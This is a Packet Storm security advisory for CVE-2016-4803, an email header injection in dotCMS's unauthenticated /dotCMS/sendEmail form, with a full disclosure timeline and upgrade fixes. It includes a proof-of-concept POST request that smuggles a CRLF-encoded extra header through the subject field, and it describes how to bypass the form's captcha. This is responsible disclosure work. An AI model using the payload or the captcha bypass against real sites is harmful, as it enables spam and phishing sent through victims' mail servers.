what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

dotCMS Email Header Injection

dotCMS Email Header Injection
Posted May 25, 2016
Authored by Elar Lang

dotCMS versions prior to 3.5 and 3.3.2 suffers from an email header injection vulnerability.

tags | exploit
advisories | CVE-2016-4803
SHA-256 | 8a2aa086022ce89bb40306dc783a8bd835f0e4f8c1d80ad34fa487953fa9ea7b

dotCMS Email Header Injection

Change Mirror Download
Title: CVE-2016-4803 dotCMS - Email Header Injection
Credit: Elar Lang / https://security.elarlang.eu
Vulnerability: Email Header Injection
Vulnerable version: before 3.5 / 3.3.2
CVE: CVE-2016-4803
Vendor: dotCMS (http://dotcms.com/)


# Description
dotCMS has an email sending functionality at path /dotCMS/sendEmail/
Some parameters are vulnerable to Email Header Injection.


# Preconditions
There is no pre-condition on authentication or on authorization to
access this functionality.

If captcha is required for the web page, then the only precondition
would be captcha. However, captcha is renewed only when you access the
captcha image - in other words, you can load it once and manually set
the correct value. After this step the "captcha effect" is bypassed.


# Proof-of-Concept
Proof-of-Concept is made on dotCMS demo site with dotCMS version 3.2.1
on 7th of December 2015.

## Value for subject (%0D%0A is for \r\n):
subject=subject%0D%0AX-PoC-of-New-Line%3A+True


## Proof-of-Concept POST request:
<code>
POST /dotCMS/sendEmail HTTP/1.1
Host: demo2.dotcms.com
...
Cookie: _JSESSIONID=998ADA19C99505E75DC6D27A5E84D...; ...
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 218

from=myemail&to=youremail&subject=subject%0D%0AX-PoC-of-New-Line%3A+True&returnUrl=%2F1&invalidCaptchaReturnUrl=%2F2&useCaptcha=true&captcha=hwxc5&comments=some+content&send=Send
</code>


## Received email source:
<code>
Message-ID: <1894336506.1449476889789.JavaMail.dotcms@democms1.dotcms.net>
From: myemail
To: youremail
Subject: subject
X-PoC-of-New-Line: True
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_Part_4_698773753.1449476889786"
X-RecipientId: null
Date: Mon, 7 Dec 2015 03:28:09 -0500 (EST)

------=_Part_4_698773753.1449476889786
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

... removed ...
</code>


## Result

>From the received email source, it is visible that the subject value
created 2 different lines:
<code>
Subject: subject
X-PoC-of-New-Line: True
</code>

Proof-of-Concept on how to send a multipart email with an attachment
and a more detailed description is available at:
https://security.elarlang.eu/cve-2016-4803-dotcms-email-header-injection-vulnerability-full-disclosure.html


# Vulnerability Disclosure Timeline

2015-12-04 .. 07 | me | detected vulnerability, wrote Proof-of-Concept
2015-12-07 | me > dotCMS | sent a letter with detailed description of
email header injection and some related vulnerabilities
2015-12-14 | me > dotCMS | sent another letter with SQL injections
vulnerabilities and asked feedback about "email header injection"
vulnerabilities
2015-12-14 | dotCMS > me | they were going to review my emails and
asked to resend "email header injection" description
2015-12-14 | me > dotCMS | I resent "email header injection" description
2015-12-14 | dotCMS > me | they were planning fixes in upcoming
release, estimated to beginning of 2016. They thanked and wrote
"security is something we take seriously"

2016-04-07 | me > dotCMS | 5 months since first report, what is the
situation with reported vulnerabilities?
2016-04-07 | dotCMS | commit in GitHub | "fixes #8840 sort by
sanitizing and email header injection #8841"
2016-04-07 | dotCMS > me | email header injection will be fixed in
3.5, which is estimated to be out in mid-April

2016-04-19 | dotCMS | dotCMS version 3.5 release
2016-05-09 | me > dotCMS | asked confirmation and version numbers
about fixes for CVE and Full Disclosure
2016-05-10 | dotCMS > me | email header injection is fixed in versions
3.5 and 3.3.2.
2016-05-10 | dotCMS | dotCMS version 3.3.2 release
2016-05-24 | me | Full Disclosure on security.elarlang.eu


# Fixes
Update dotCMS at least to version 3.5 or 3.3.2.

https://dotcms.com/docs/latest/change-log#release-3.5
https://dotcms.com/docs/latest/change-log#release-3.3.2

--
Elar Lang
Blog @ https://security.elarlang.eu
Pentester, lecturer @ http://www.clarifiedsecurity.com


Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close